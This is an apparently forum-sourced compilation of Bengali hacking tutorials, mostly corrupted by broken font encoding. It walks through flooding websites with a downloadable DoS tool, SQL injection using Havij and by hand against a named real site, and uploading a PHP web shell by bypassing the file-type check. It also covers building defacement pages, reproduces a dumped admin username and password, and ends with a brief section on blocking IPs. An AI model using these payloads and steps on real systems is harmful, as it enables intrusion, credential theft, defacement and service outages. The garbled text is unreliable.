অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
